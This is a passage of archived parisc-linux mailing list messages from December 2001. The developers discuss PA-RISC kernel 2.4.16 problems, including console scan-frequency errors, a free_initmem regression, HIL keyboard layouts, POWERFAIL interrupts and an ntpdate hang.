List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13244

Hi.

This invalid scan problem suggests to me that the box is putting out a
resolution/frequency that the monitor cannot support. The banner in the
muddle of the screen is a monitor on-screen-display error. I don't know
about B180's but on my 712 this happened. In the boot loader firmware you
should be able to select resolutions -- I booted it on another monitor,
lovered the frequency and resolution, then switched back to the first
monitor. So, i don't think that's a problem with the kernel, rather the
settings of the box's STI and the limitations of the monitor you're using.

-phil



On Mon, 3 Dec 2001 joel.soete@freebel.net wrote:

> Hi all,
>
> The kernel 2.4.16-pa10 run roughtly on my B180 (not yet tested on 712)
> But STI console semms broken:
> A large banner with "INVALID SCAN FREQ." in the middle of the screen and in
> background something like parasitical tv reception (white line scanning
> screen)... After some minutes it stop?
> Thanks in advance for help,
>         Joel
>
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

-- 
===============================================================================

Phil Anderson
UNIX Systems Administrator
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

"Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson




From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.16-pa10: sti console brokrn?
Date: Tue, 04 Dec 2001 08:01:00 +0100 (CET)
Lines: 69
Approved: news@gmane.org
Message-ID: <1007449260.3c0c74ac2b330@webmail.tiscalinet.be>
References: <Pine.LNX.4.33.0112032239490.1252-100000@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620814 30909 80.91.229.3 (22 Nov 2014 01:46:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:54 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Phil Anderson <andersop@neverland.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  4 00:01:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEDE2482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Dec 2001 00:01:09 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16B9Zc-0007MS-00; Tue, 04 Dec 2001 08:01:00 +0100
In-Reply-To: <Pine.LNX.4.33.0112032239490.1252-100000@bob.ncssm.edu>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13245

You have right, I forget to mentionned that the screen was an HP model A4575A
with a selected resolution of 1280*1024 which works fine till now with previous
kernel 2.4.9 and 2.4.14.

So what should be the right resolution?

Joel

Quoting Phil Anderson <andersop@neverland.ncssm.edu>:

> Hi.
> 
> This invalid scan problem suggests to me that the box is putting out a
> resolution/frequency that the monitor cannot support. The banner in the
> muddle of the screen is a monitor on-screen-display error. I don't know
> about B180's but on my 712 this happened. In the boot loader firmware
> you
> should be able to select resolutions -- I booted it on another monitor,
> lovered the frequency and resolution, then switched back to the first
> monitor. So, i don't think that's a problem with the kernel, rather the
> settings of the box's STI and the limitations of the monitor you're
> using.
> 
> -phil
> 
> 
> 
> On Mon, 3 Dec 2001 joel.soete@freebel.net wrote:
> 
> > Hi all,
> >
> > The kernel 2.4.16-pa10 run roughtly on my B180 (not yet tested on
> 712)
> > But STI console semms broken:
> > A large banner with "INVALID SCAN FREQ." in the middle of the screen
> and in
> > background something like parasitical tv reception (white line
> scanning
> > screen)... After some minutes it stop?
> > Thanks in advance for help,
> >         Joel
> >
> > -------------------------------------------------
> > This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> 
> -- 
> ===============================================================================
> 
> Phil Anderson
> UNIX Systems Administrator
> andersop@neverland.ncssm.edu
> The_13th_Ewok@hotmail.com
> 
> "Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson
> 
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.16-pa12 broken on c3000
Date: Mon, 3 Dec 2001 23:17:59 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20011203231759.K944@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620814 30914 80.91.229.3 (22 Nov 2014 01:46:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:54 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  4 00:18:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C932482D
	for <parisc-linux@parisc-linux.org>; Tue,  4 Dec 2001 00:18:03 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id lmqljaaa for parisc-linux@parisc-linux.org; Tue, 4 Dec 2001 00:12:50 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16B9q3-0003xW-00; Mon, 03 Dec 2001 23:17:59 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13246

Looks like -pa12 enabled some #if 0 code in arch/parisc/mm/init.c that
is causing things to die. Both Grant and I saw ifconfig abort when
the free_initmem code was enabled. Reverting back to 1.43 worked for
me...

Looks like Helge checked that in.. Helge, can you please take a look?

Soft power is very cool though! :-)

thanks,
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Hartmann <j.hartmann@reinarts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 720 Installation
Date: Tue, 4 Dec 2001 08:22:39 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <200112040718.IAA19985@post.webmailer.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620815 30916 80.91.229.3 (22 Nov 2014 01:46:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  4 00:22:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id F30F7482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Dec 2001 00:22:41 -0700 (MST)
Original-Received: from there (fwr-01.mediadesign.de [212.185.42.202])
	by post.webmailer.de (8.9.3/8.8.7) with SMTP id IAA19985
	for <parisc-linux@lists.parisc-linux.org>; Tue, 4 Dec 2001 08:18:30 +0100 (MET)
X-Mailer: KMail [version 1.3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13247

Hi folks,

you are realy great ! :-)
With the pointer to the palinux-0.9.3-base-rc5.iso from Richard Hirst  i 
got my 720 up and running . Even the graphics console is working now
and the SCSI-Problem went away.
Thanks !

There is only one little thingy left with the keyboard.
But i dont call this a problem (now).
Whenever i switch the keyboard layout to german, this keyboard stops 
doing something useful to me.
There is something happen when i press some keys - but nothing i expected.
So i installed palinux with english keyboard and this works.

This was a big step to a fine new samba server ...

regards
			Jrg
-- 
Joerg Hartmann
j.hartmann@reinarts.de



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 Installation
Date: Tue, 4 Dec 2001 10:42:53 +0100
Organization: SAP LinuxLab
Lines: 18
Approved: news@gmane.org
Message-ID: <E16BC6I-0002bj-00@linuxlab.wdf.sap-ag.de>
References: <200112040718.IAA19985@post.webmailer.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620815 30917 80.91.229.3 (22 Nov 2014 01:46:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:55 +0000 (UTC)
To: Joerg Hartmann <j.hartmann@reinarts.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  4 02:42:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id C16B2482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Dec 2001 02:42:56 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA29987;
  Tue, 4 Dec 2001 10:46:10 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <200112040718.IAA19985@post.webmailer.de>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13248

On Tuesday 04 December 2001 08:22, Joerg Hartmann wrote:
> There is only one little thingy left with the keyboard.
> But i dont call this a problem (now).
> Whenever i switch the keyboard layout to german, this keyboard stops
> doing something useful to me.
> There is something happen when i press some keys - but nothing i expected.
> So i installed palinux with english keyboard and this works.

Hi Joerg,

Presumably you have a HIL keyboard and the selectable keyboard layouts
are intended for PS/2 keyboards only. IIRC it's documented somewhere 
on the cd (README?).

Greetings,
Helge



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.16-pa12 Power failled (was:  2.4.16-pa10: sti console broken?)
Date: Tue, 04 Dec 2001 14:43:42 +0100 (CET)
Lines: 96
Approved: news@gmane.org
Message-ID: <1007473422.3c0cd30eac487@webmail.tiscalinet.be>
References: <Pine.LNX.4.33.0112032239490.1252-100000@bob.ncssm.edu> <1007449260.3c0c74ac2b330@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620815 30921 80.91.229.3 (22 Nov 2014 01:46:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  4 06:43:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC959482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Dec 2001 06:43:50 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16BFrK-0004qf-00; Tue, 04 Dec 2001 14:43:42 +0100
In-Reply-To: <1007449260.3c0c74ac2b330@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13249

Hi all,

Sti consol is Ok now.

But receive on consol how many "POWERFAIL INTERRUPTION".
I beleive it comes from scsi dirver sym53c8xx but not sure.

Thanks for all great job,
        Joel

Quoting joel.soete@freebel.net:

> You have right, I forget to mentionned that the screen was an HP model
> A4575A
> with a selected resolution of 1280*1024 which works fine till now with
> previous
> kernel 2.4.9 and 2.4.14.
> 
> So what should be the right resolution?
> 
> Joel
> 
> Quoting Phil Anderson <andersop@neverland.ncssm.edu>:
> 
> > Hi.
> > 
> > This invalid scan problem suggests to me that the box is putting out
> a
> > resolution/frequency that the monitor cannot support. The banner in
> the
> > muddle of the screen is a monitor on-screen-display error. I don't
> know
> > about B180's but on my 712 this happened. In the boot loader firmware
> > you
> > should be able to select resolutions -- I booted it on another
> monitor,
> > lovered the frequency and resolution, then switched back to the first
> > monitor. So, i don't think that's a problem with the kernel, rather
> the
> > settings of the box's STI and the limitations of the monitor you're
> > using.
> > 
> > -phil
> > 
> > 
> > 
> > On Mon, 3 Dec 2001 joel.soete@freebel.net wrote:
> > 
> > > Hi all,
> > >
> > > The kernel 2.4.16-pa10 run roughtly on my B180 (not yet tested on
> > 712)
> > > But STI console semms broken:
> > > A large banner with "INVALID SCAN FREQ." in the middle of the
> screen
> > and in
> > > background something like parasitical tv reception (white line
> > scanning
> > > screen)... After some minutes it stop?
> > > Thanks in advance for help,
> > >         Joel
> > >
> > > -------------------------------------------------
> > > This mail sent through Tiscalinet Webmail
> (http://webmail.tiscali.be)
> > >
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > >
> > 
> > -- 
> >
> ===============================================================================
> > 
> > Phil Anderson
> > UNIX Systems Administrator
> > andersop@neverland.ncssm.edu
> > The_13th_Ewok@hotmail.com
> > 
> > "Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson
> > 
> > 
> > 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ntpdate broken
Date: Wed, 5 Dec 2001 04:18:53 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20011205041853.C12186@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620815 30922 80.91.229.3 (22 Nov 2014 01:46:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  4 21:18:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4F7E482C
	for <parisc-linux@parisc-linux.org>; Tue,  4 Dec 2001 21:18:55 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16BTWH-0004Hf-00
	for parisc-linux@parisc-linux.org; Wed, 05 Dec 2001 04:18:53 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13250

ntpdate isn't working on paer.  from the strace:

socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
fcntl(4, F_SETFL, O_RDONLY|O_NONBLOCK)  = 0
rt_sigaction(SIGALRM, {0x287a2, [], 0}, {SIG_DFL}, 8) = 0
setitimer(ITIMER_REAL, {it_interval={0, 200000}, it_value={0, 100000}}, NULL) = 0
setpriority(PRIO_PROCESS, 0, -12)       = 0
poll([{fd=4, events=POLLIN}], 1, 60000) = 0
poll( <unfinished ...>

anyone want to spend some time debugging this?  i'd bug the debian
maintainer, but i hear he's not very sympathetic towards hppa.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kdb ?
Date: Wed, 05 Dec 2001 08:32:51 +0100 (CET)
Lines: 13
Approved: news@gmane.org
Message-ID: <1007537571.3c0dcda32dcdb@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620816 30924 80.91.229.3 (22 Nov 2014 01:46:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 00:32:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id A331E482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 00:32:52 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16BWXz-0003Uu-00; Wed, 05 Dec 2001 08:32:51 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13251

Hi all,

Using make menuconfig to rebuild the last 2.4.16-pa12 I just discover an option
for kdb (help refer specificaly to PA-Risc arhitecture).
Is there already something alvailable?

Thanks to all for your great job,
        Joel

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.16-pa15 still POWERFAIL(was 2.4.16-pa12 Power failled)
Date: Wed, 05 Dec 2001 11:22:17 +0100 (CET)
Lines: 117
Approved: news@gmane.org
Message-ID: <1007547737.3c0df5599e8c9@webmail.tiscalinet.be>
References: <Pine.LNX.4.33.0112032239490.1252-100000@bob.ncssm.edu> <1007449260.3c0c74ac2b330@webmail.tiscalinet.be> <1007473422.3c0cd30eac487@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620816 30927 80.91.229.3 (22 Nov 2014 01:46:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 03:22:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EA68482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 03:22:19 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16BZBx-0005bt-00; Wed, 05 Dec 2001 11:22:17 +0100
In-Reply-To: <1007473422.3c0cd30eac487@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13252

Hi all,

Just to report that the problem persit on my B180 (even thought that changes was
made on sym53c8xx but I do know if its regarding this problem).

Joel

Quoting joel.soete@freebel.net:

> Hi all,
> 
> Sti consol is Ok now.
> 
> But receive on consol how many "POWERFAIL INTERRUPTION".
> I beleive it comes from scsi dirver sym53c8xx but not sure.
> 
> Thanks for all great job,
>         Joel
> 
> Quoting joel.soete@freebel.net:
> 
> > You have right, I forget to mentionned that the screen was an HP
> model
> > A4575A
> > with a selected resolution of 1280*1024 which works fine till now
> with
> > previous
> > kernel 2.4.9 and 2.4.14.
> > 
> > So what should be the right resolution?
> > 
> > Joel
> > 
> > Quoting Phil Anderson <andersop@neverland.ncssm.edu>:
> > 
> > > Hi.
> > > 
> > > This invalid scan problem suggests to me that the box is putting
> out
> > a
> > > resolution/frequency that the monitor cannot support. The banner in
> > the
> > > muddle of the screen is a monitor on-screen-display error. I don't
> > know
> > > about B180's but on my 712 this happened. In the boot loader
> firmware
> > > you
> > > should be able to select resolutions -- I booted it on another
> > monitor,
> > > lovered the frequency and resolution, then switched back to the
> first
> > > monitor. So, i don't think that's a problem with the kernel, rather
> > the
> > > settings of the box's STI and the limitations of the monitor you're
> > > using.
> > > 
> > > -phil
> > > 
> > > 
> > > 
> > > On Mon, 3 Dec 2001 joel.soete@freebel.net wrote:
> > > 
> > > > Hi all,
> > > >
> > > > The kernel 2.4.16-pa10 run roughtly on my B180 (not yet tested on
> > > 712)
